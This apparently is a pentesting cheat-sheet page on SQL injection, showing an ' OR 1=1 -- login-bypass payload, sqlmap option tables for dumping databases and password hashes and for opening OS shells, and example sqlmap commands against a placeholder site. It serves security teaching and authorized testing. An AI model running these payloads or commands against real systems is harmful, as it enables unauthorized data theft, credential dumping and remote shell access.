> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/web-pentesting/sql-injection.md).

# SQL Injection

```
execute("SELECT * FROM users WHERE 
         username = 'admin' AND 
         password = '' OR 1=1 --'")
```

<figure><img src="/files/EUXXNXHF2EiFuWnkh9LX" alt=""><figcaption></figcaption></figure>

## SQL Map

### Basic commands:<br>

| Options                     | Description                                                        |
| --------------------------- | ------------------------------------------------------------------ |
| -u URL, --url=URL           | <p>Target URL (e.g. "<http://www.site.com/vuln.php?id=1>")<br></p> |
| <p>--data=DATA<br></p>      | <p>Data string to be sent through POST (e.g. "id=1")<br></p>       |
| <p>--random-agent<br></p>   | <p>Use randomly selected HTTP User-Agent header value<br></p>      |
| <p>-p TESTPARAMETER<br></p> | <p>Testable parameter(s)<br></p>                                   |
| <p>--level=LEVEL<br></p>    | <p>Level of tests to perform (1-5, default 1)<br></p>              |
| <p>--risk=RISK<br></p>      | <p>Risk of tests to perform (1-3, default 1)<br></p>               |

### Enumeration commands:

*These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.*

| <p>Options<br></p>              | <p>Description<br></p>                                |
| ------------------------------- | ----------------------------------------------------- |
| -a, --all                       | <p>Retrieve everything<br></p>                        |
| -b, --banner                    | <p>Retrieve DBMS banner<br></p>                       |
| <p>--current-user<br></p>       | Retrieve DBMS current user                            |
| <p>--current-db<br></p>         | <p>Retrieve DBMS current database<br></p>             |
| <p>--passwords<br></p>          | <p>Enumerate DBMS users password hashes<br></p>       |
| <p>  --dbs             <br></p> | <p>  Enumerate DBMS databases<br></p>                 |
| <p>--tables<br></p>             | <p>Enumerate DBMS database tables<br></p>             |
| <p>--columns<br></p>            | <p>Enumerate DBMS database table columns<br></p>      |
| <p>--schema<br></p>             | <p>Enumerate DBMS schema<br></p>                      |
| <p>--dump<br></p>               | <p>Dump DBMS database table entries<br></p>           |
| <p>--dump-all<br></p>           | <p>Dump all DBMS databases tables entries<br></p>     |
| <p>--is-dba           <br></p>  | <p> Detect if the DBMS current user is DBA<br></p>    |
| <p>-D \<DB NAME><br></p>        | <p>DBMS database to enumerate<br></p>                 |
| <p>-T \<TABLE NAME><br></p>     | <p>DBMS database table(s) to enumerate<br></p>        |
| <p>-C COL<br></p>               | <p>DBMS database table column(s) to enumerate<br></p> |

### Operating System access commands

*These options can be used to access the back-end database management system on the target operating system.*

| <p>Options<br></p>        | <p>Description<br></p>                                           |
| ------------------------- | ---------------------------------------------------------------- |
| --os-shell                | <p>Prompt for an interactive operating system shell<br></p>      |
| --os-pwn                  | <p>Prompt for an OOB shell, Meterpreter or VNC<br></p>           |
| <p>--os-cmd=OSCMD<br></p> | <p>Execute an operating system command<br></p>                   |
| <p>--priv-esc<br></p>     | <p>Database process user privilege escalation<br></p>            |
| <p>--os-smbrelay<br></p>  | <p>One-click prompt for an OOB shell, Meterpreter or VNC<br></p> |

### Examples

<pre><code>sqlmap -u https://testsite.com/page.php?id=7 --dbs    \\Simple http
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r &#x3C;request_file> -p &#x3C;vulnerable_parameter> --dbs
<strong>
</strong><strong>Using GET based Method
</strong>
sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D &#x3C;database_name> --tables

Using POST based Method

sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p &#x3C;vulnerable_parameter> -D &#x3C;database_name> --tables
</code></pre>